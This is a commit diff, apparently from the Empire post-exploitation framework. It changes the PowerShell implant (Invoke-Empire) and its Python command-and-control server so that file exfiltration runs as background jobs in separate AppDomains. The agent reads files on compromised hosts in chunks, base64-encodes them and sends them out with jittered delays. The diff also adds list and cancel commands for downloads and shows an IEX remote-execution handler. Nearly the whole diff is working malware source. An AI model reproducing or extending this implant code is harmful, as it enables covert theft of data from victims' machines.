commit
5acef7a560
|
@ -130,7 +130,7 @@ function Invoke-Empire {
|
|||
# keep track of all background jobs
|
||||
# format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... }
|
||||
$Script:Jobs = @{}
|
||||
|
||||
$Script:Downloads = @{}
|
||||
# the currently imported script held in memory
|
||||
$script:ImportedScript = ''
|
||||
|
||||
|
@ -389,6 +389,206 @@ function Invoke-Empire {
|
|||
"`n"+($output | Format-Table -wrap | Out-String)
|
||||
}
|
||||
|
||||
#Download file script block that will run in the background
|
||||
|
||||
$Download = @"
|
||||
function Download-File {
|
||||
param(`$Type,`$Path,`$ResultID,`$ChunkSize,`$Delay,`$Jitter)
|
||||
|
||||
`$Index = 0
|
||||
do{
|
||||
`$EncodedPart = Get-FilePart -File "`$Path" -Index `$Index -ChunkSize `$ChunkSize
|
||||
if (`$EncodedPart) {
|
||||
`$data = "{0}|{1}|{2}" -f `$Index,`$Path,`$EncodedPart
|
||||
Encode-Packet -type `$Type -data `$(`$data) -ResultID `$ResultID
|
||||
`$Index += 1
|
||||
|
||||
if (`$Delay -ne 0) {
|
||||
`$min = [int]((1-`$Jitter)*`$Delay)
|
||||
`$max = [int]((1+`$Jitter)*`$Delay)
|
||||
|
||||
if (`$min -eq `$max) {
|
||||
`$sleepTime = `$min
|
||||
}
|
||||
else {
|
||||
`$sleepTime = Get-Random -minimum `$min -maximum `$max;
|
||||
}
|
||||
Start-Sleep -s `$sleepTime;
|
||||
}
|
||||
}
|
||||
[GC]::Collect()
|
||||
} while(`$EncodedPart)
|
||||
|
||||
Encode-Packet -type 40 -data "[*] File download of `$Path completed" -ResultID `$ResultID
|
||||
}
|
||||
|
||||
function Encode-Packet {
|
||||
param([Int16]`$type, `$data, [Int16]`$ResultID=0)
|
||||
<#
|
||||
encode a packet for transport:
|
||||
+------+--------------------+----------+---------+--------+-----------+
|
||||
| Type | total # of packets | packet # | task ID | Length | task data |
|
||||
+------+--------------------+--------------------+--------+-----------+
|
||||
| 2 | 2 | 2 | 2 | 4 | <Length> |
|
||||
+------+--------------------+----------+---------+--------+-----------+
|
||||
#>
|
||||
|
||||
# in case we get a result array, make sure we join everything up
|
||||
if (`$data -is [System.Array]) {
|
||||
`$data = `$data -join "``n"
|
||||
}
|
||||
|
||||
# convert data to base64 so we can support all encodings and handle on server side
|
||||
`$data = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$data))
|
||||
|
||||
`$packet = New-Object Byte[] (12 + `$data.Length)
|
||||
|
||||
# packet type
|
||||
([BitConverter]::GetBytes(`$type)).CopyTo(`$packet, 0)
|
||||
# total number of packets
|
||||
([BitConverter]::GetBytes([Int16]1)).CopyTo(`$packet, 2)
|
||||
# packet number
|
||||
([BitConverter]::GetBytes([Int16]1)).CopyTo(`$packet, 4)
|
||||
# task/result ID
|
||||
([BitConverter]::GetBytes(`$ResultID)).CopyTo(`$packet, 6)
|
||||
# length
|
||||
([BitConverter]::GetBytes(`$data.Length)).CopyTo(`$packet, 8)
|
||||
([System.Text.Encoding]::UTF8.GetBytes(`$data)).CopyTo(`$packet, 12)
|
||||
|
||||
`$packet
|
||||
}
|
||||
|
||||
function Get-FilePart {
|
||||
Param(
|
||||
[string] `$File,
|
||||
[int] `$Index = 0,
|
||||
`$ChunkSize = 512KB,
|
||||
[switch] `$NoBase64
|
||||
)
|
||||
|
||||
try {
|
||||
`$f = Get-Item "`$File"
|
||||
`$FileLength = `$f.length
|
||||
`$FromFile = [io.file]::OpenRead(`$File)
|
||||
|
||||
if (`$FileLength -lt `$ChunkSize) {
|
||||
if(`$Index -eq 0) {
|
||||
`$buff = new-object byte[] `$FileLength
|
||||
`$count = `$FromFile.Read(`$buff, 0, `$buff.Length)
|
||||
if(`$NoBase64) {
|
||||
`$buff
|
||||
}
|
||||
else{
|
||||
[System.Convert]::ToBase64String(`$buff)
|
||||
}
|
||||
}
|
||||
else{
|
||||
`$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
`$buff = new-object byte[] `$ChunkSize
|
||||
`$Start = `$Index * `$(`$ChunkSize)
|
||||
|
||||
`$null = `$FromFile.Seek(`$Start,0)
|
||||
|
||||
`$count = `$FromFile.Read(`$buff, 0, `$buff.Length)
|
||||
|
||||
if (`$count -gt 0) {
|
||||
if(`$count -ne `$ChunkSize) {
|
||||
# if we're on the last file chunk
|
||||
|
||||
# create a new array of the appropriate length
|
||||
`$buff2 = new-object byte[] `$count
|
||||
# and copy the relevant data into it
|
||||
[array]::copy(`$buff, `$buff2, `$count)
|
||||
|
||||
if(`$NoBase64) {
|
||||
`$buff2
|
||||
}
|
||||
else{
|
||||
[System.Convert]::ToBase64String(`$buff2)
|
||||
}
|
||||
}
|
||||
else{
|
||||
if(`$NoBase64) {
|
||||
`$buff
|
||||
}
|
||||
else{
|
||||
[System.Convert]::ToBase64String(`$buff)
|
||||
}
|
||||
}
|
||||
}
|
||||
else{
|
||||
`$Null;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch{}
|
||||
finally {
|
||||
`$FromFile.Close()
|
||||
}
|
||||
}
|
||||
"@
|
||||
|
||||
function Start-DownloadJob {
|
||||
param($ScriptString, $type, $Path, $ResultID, $ChunkSize)
|
||||
|
||||
$RandName = Split-Path -Path $Path -Leaf
|
||||
# create our new AppDomain
|
||||
$AppDomain = [AppDomain]::CreateDomain($RandName)
|
||||
|
||||
# load the PowerShell dependency assemblies in the new runspace and instantiate a PS runspace
|
||||
$PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create()
|
||||
|
||||
$ScriptString = "$ScriptString`n Download-File -Type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)"
|
||||
|
||||
# add the target script into the new runspace/appdomain
|
||||
$null = $PSHost.AddScript($ScriptString)
|
||||
|
||||
# stupid v2 compatibility...
|
||||
$Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]'
|
||||
$PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]'
|
||||
$BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject]))
|
||||
|
||||
# kick off asynchronous execution
|
||||
$Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType)))
|
||||
|
||||
$Script:Downloads[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}
|
||||
$RandName
|
||||
}
|
||||
|
||||
# returns $True if the specified job is completed, $False otherwise
|
||||
function Get-DownloadJobCompleted {
|
||||
param($JobName)
|
||||
if($Script:Downloads.ContainsKey($JobName)) {
|
||||
$Script:Downloads[$JobName]['Job'].IsCompleted
|
||||
}
|
||||
}
|
||||
|
||||
# reads any data from the output buffer preserved for the specified job
|
||||
function Receive-DownloadJob {
|
||||
param($JobName)
|
||||
if($Script:Downloads.ContainsKey($JobName)) {
|
||||
$Script:Downloads[$JobName]['Buffer'].ReadAll()
|
||||
}
|
||||
}
|
||||
|
||||
# stops the specified agent job (wildcards accepted), returns any job results,
|
||||
# tear down the appdomain, and remove the job from the internal cache
|
||||
function Stop-DownloadJob {
|
||||
param($JobName)
|
||||
if($Script:Downloads.ContainsKey($JobName)) {
|
||||
# kill the PS host
|
||||
$Null = $Script:Downloads[$JobName]['PSHost'].Stop()
|
||||
# get results
|
||||
$Script:Downloads[$JobName]['Buffer'].ReadAll()
|
||||
# unload the app domain runner
|
||||
$Null = [AppDomain]::Unload($Script:Downloads[$JobName]['AppDomain'])
|
||||
$Script:Downloads.Remove($JobName)
|
||||
}
|
||||
}
|
||||
|
||||
# takes a string representing a PowerShell script to run, build a new
|
||||
# AppDomain and PowerShell runspace, and kick off the execution in the
|
||||
# new runspace/AppDomain asynchronously, storing the results in $Script:Jobs.
|
||||
|
@ -478,77 +678,6 @@ function Invoke-Empire {
|
|||
# get a binary part of a file based on $Index and $ChunkSize
|
||||
# and return a base64 encoding of that file part (by default)
|
||||
# used by download functionality for large file
|
||||
function Get-FilePart {
|
||||
Param(
|
||||
[string] $File,
|
||||
[int] $Index = 0,
|
||||
$ChunkSize = 512KB,
|
||||
[switch] $NoBase64
|
||||
)
|
||||
|
||||
try {
|
||||
$f = Get-Item "$File"
|
||||
$FileLength = $f.length
|
||||
$FromFile = [io.file]::OpenRead($File)
|
||||
|
||||
if ($FileLength -lt $ChunkSize) {
|
||||
if($Index -eq 0) {
|
||||
$buff = new-object byte[] $FileLength
|
||||
$count = $FromFile.Read($buff, 0, $buff.Length)
|
||||
if($NoBase64) {
|
||||
$buff
|
||||
}
|
||||
else{
|
||||
[System.Convert]::ToBase64String($buff)
|
||||
}
|
||||
}
|
||||
else{
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
$buff = new-object byte[] $ChunkSize
|
||||
$Start = $Index * $($ChunkSize)
|
||||
|
||||
$null = $FromFile.Seek($Start,0)
|
||||
|
||||
$count = $FromFile.Read($buff, 0, $buff.Length)
|
||||
|
||||
if ($count -gt 0) {
|
||||
if($count -ne $ChunkSize) {
|
||||
# if we're on the last file chunk
|
||||
|
||||
# create a new array of the appropriate length
|
||||
$buff2 = new-object byte[] $count
|
||||
# and copy the relevant data into it
|
||||
[array]::copy($buff, $buff2, $count)
|
||||
|
||||
if($NoBase64) {
|
||||
$buff2
|
||||
}
|
||||
else{
|
||||
[System.Convert]::ToBase64String($buff2)
|
||||
}
|
||||
}
|
||||
else{
|
||||
if($NoBase64) {
|
||||
$buff
|
||||
}
|
||||
else{
|
||||
[System.Convert]::ToBase64String($buff)
|
||||
}
|
||||
}
|
||||
}
|
||||
else{
|
||||
$Null;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch{}
|
||||
finally {
|
||||
$FromFile.Close()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
############################################################
|
||||
|
@ -793,8 +922,9 @@ function Invoke-Empire {
|
|||
}
|
||||
# file download
|
||||
elseif($type -eq 41) {
|
||||
|
||||
try {
|
||||
$ChunkSize = 512KB
|
||||
$ChunkSize = 128KB
|
||||
|
||||
$Parts = $Data.Split(" ")
|
||||
|
||||
|
@ -823,41 +953,16 @@ function Invoke-Empire {
|
|||
if($ChunkSize -lt 64KB) {
|
||||
$ChunkSize = 64KB
|
||||
}
|
||||
elseif($ChunkSize -gt 8MB) {
|
||||
$ChunkSize = 8MB
|
||||
elseif($ChunkSize -gt 4MB) {
|
||||
$ChunkSize = 4MB
|
||||
}
|
||||
|
||||
# resolve the complete path
|
||||
$Path = Get-Childitem $Path | ForEach-Object {$_.FullName}
|
||||
|
||||
# read in and send the specified chunk size back for as long as the file has more parts
|
||||
$Index = 0
|
||||
do{
|
||||
$EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize
|
||||
|
||||
if($EncodedPart) {
|
||||
$data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart
|
||||
Send-Message -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID)
|
||||
$Index += 1
|
||||
|
||||
# if there are more parts of the file, sleep for the specified interval
|
||||
if ($script:AgentDelay -ne 0) {
|
||||
$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
|
||||
$max = [int]((1+$script:AgentJitter)*$script:AgentDelay)
|
||||
|
||||
if ($min -eq $max) {
|
||||
$sleepTime = $min
|
||||
}
|
||||
else{
|
||||
$sleepTime = Get-Random -minimum $min -maximum $max;
|
||||
}
|
||||
Start-Sleep -s $sleepTime;
|
||||
}
|
||||
}
|
||||
[GC]::Collect()
|
||||
} while($EncodedPart)
|
||||
|
||||
Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID
|
||||
$jobID = Start-DownloadJob -ScriptString $Download -type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize
|
||||
|
||||
}
|
||||
catch {
|
||||
Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID
|
||||
|
@ -881,8 +986,8 @@ function Invoke-Empire {
|
|||
|
||||
# return the currently running jobs
|
||||
elseif($type -eq 50) {
|
||||
$RunningJobs = $Script:Jobs.Keys -join "`n"
|
||||
Encode-Packet -data ("Running Jobs:`n$RunningJobs") -type $type -ResultID $ResultID
|
||||
$Downloads = $Script:Jobs.Keys -join "`n"
|
||||
Encode-Packet -data ("Running Jobs:`n$Downloads") -type $type -ResultID $ResultID
|
||||
}
|
||||
|
||||
# stop and remove a specific job if it's running
|
||||
|
@ -903,6 +1008,27 @@ function Invoke-Empire {
|
|||
}
|
||||
}
|
||||
|
||||
#return downloads
|
||||
elseif($type -eq 52) {
|
||||
$RunningDownloads = $Script:Downloads.Keys -join "`n"
|
||||
Encode-Packet -data ("Downloads:`n$RunningDownloads") -type $type -ResultID $ResultID
|
||||
}
|
||||
|
||||
#Cancel a download
|
||||
elseif($type -eq 53) {
|
||||
$JobName = $data
|
||||
$JobResultID = $ResultIDs[$JobName]
|
||||
|
||||
try {
|
||||
$Results = Stop-DownloadJob -JobName $JobName
|
||||
|
||||
Encode-Packet -type 53 -data "Download of $JobName stopped" -ResultID $JobResultID
|
||||
}
|
||||
catch {
|
||||
Encode-Packet -type 0 -data "[!] Error in stopping Download: $JobName" -ResultID $JobResultID
|
||||
}
|
||||
}
|
||||
|
||||
# dynamic code execution, wait for output, don't save output
|
||||
elseif($type -eq 100) {
|
||||
$ResultData = IEX $data
|
||||
|
@ -1036,6 +1162,13 @@ function Invoke-Empire {
|
|||
$script:ResultIDs.Remove($JobName)
|
||||
}
|
||||
|
||||
ForEach($JobName in $Script:Downloads.Keys) {
|
||||
$Results = Stop-DownloadJob -JobName $JobName
|
||||
$JobResultID = $script:ResultIDs[$JobName]
|
||||
$Packets += $Results
|
||||
$script:ResultIDs.Remove($JobName)
|
||||
}
|
||||
|
||||
# send job results back if there are any
|
||||
if ($Packets) {
|
||||
Send-Message -Packets $Packets
|
||||
|
@ -1118,6 +1251,25 @@ function Invoke-Empire {
|
|||
}
|
||||
}
|
||||
|
||||
ForEach($JobName in $Script:Downloads.Keys) {
|
||||
$JobResultID = $script:ResultIDs[$JobName]
|
||||
# check if the job is still running
|
||||
if(Get-DownloadJobCompleted -JobName $JobName) {
|
||||
# the job has stopped, so receive results/cleanup
|
||||
$Results = Stop-DownloadJob -JobName $JobName
|
||||
|
||||
}
|
||||
else {
|
||||
$Results = Receive-DownloadJob -JobName $JobName
|
||||
|
||||
|
||||
}
|
||||
|
||||
if($Results) {
|
||||
$JobResults += $Results
|
||||
}
|
||||
}
|
||||
|
||||
if ($JobResults) {
|
||||
Send-Message -Packets $JobResults
|
||||
}
|
||||
|
|
|
@ -230,7 +230,7 @@ class Agents:
|
|||
parts
|
||||
|
||||
# construct the appropriate save path
|
||||
save_path = "%sdownloads/%s%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
|
||||
save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
|
||||
filename = os.path.basename(parts[-1])
|
||||
|
||||
try:
|
||||
|
@ -1608,6 +1608,19 @@ class Agents:
|
|||
msg = "file download: %s, part: %s" % (path, index)
|
||||
self.save_agent_log(sessionID, msg)
|
||||
|
||||
elif responseName == "TASK_GETDOWNLOADS":
|
||||
if not data or data.strip().strip() == "":
|
||||
data = "[*] No active downloads"
|
||||
|
||||
self.update_agent_results_db(sessionID, data)
|
||||
#update the agent log
|
||||
self.save_agent_log(sessionID, data)
|
||||
|
||||
elif responseName == "TASK_STOPDOWNLOAD":
|
||||
# download kill response
|
||||
self.update_agent_results_db(sessionID, data)
|
||||
#update the agent log
|
||||
self.save_agent_log(sessionID, data)
|
||||
|
||||
elif responseName == "TASK_UPLOAD":
|
||||
pass
|
||||
|
|
|
@ -1606,6 +1606,23 @@ class PowerShellAgentMenu(cmd.Cmd):
|
|||
# update the agent log
|
||||
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))
|
||||
|
||||
def do_downloads(self, line):
|
||||
"Return downloads or kill a download job"
|
||||
|
||||
parts = line.split(' ')
|
||||
|
||||
if len(parts) == 1:
|
||||
if parts[0] == '':
|
||||
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETDOWNLOADS")
|
||||
#update the agent log
|
||||
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get downloads")
|
||||
else:
|
||||
print helpers.color("[!] Please use for m 'downloads kill DOWNLOAD_ID'")
|
||||
elif len(parts) == 2:
|
||||
jobID = parts[1].strip()
|
||||
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPDOWNLOAD", jobID)
|
||||
#update the agent log
|
||||
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop download " + str(jobID))
|
||||
|
||||
def do_sleep(self, line):
|
||||
"Task an agent to 'sleep interval [jitter]'"
|
||||
|
|
|
@ -98,6 +98,9 @@ PACKET_NAMES = {
|
|||
"TASK_GETJOBS" : 50,
|
||||
"TASK_STOPJOB" : 51,
|
||||
|
||||
"TASK_GETDOWNLOADS" : 52,
|
||||
"TASK_STOPDOWNLOAD" : 53,
|
||||
|
||||
"TASK_CMD_WAIT" : 100,
|
||||
"TASK_CMD_WAIT_SAVE" : 101,
|
||||
"TASK_CMD_JOB" : 110,
|
||||
|
|
Loading…
Reference in New Issue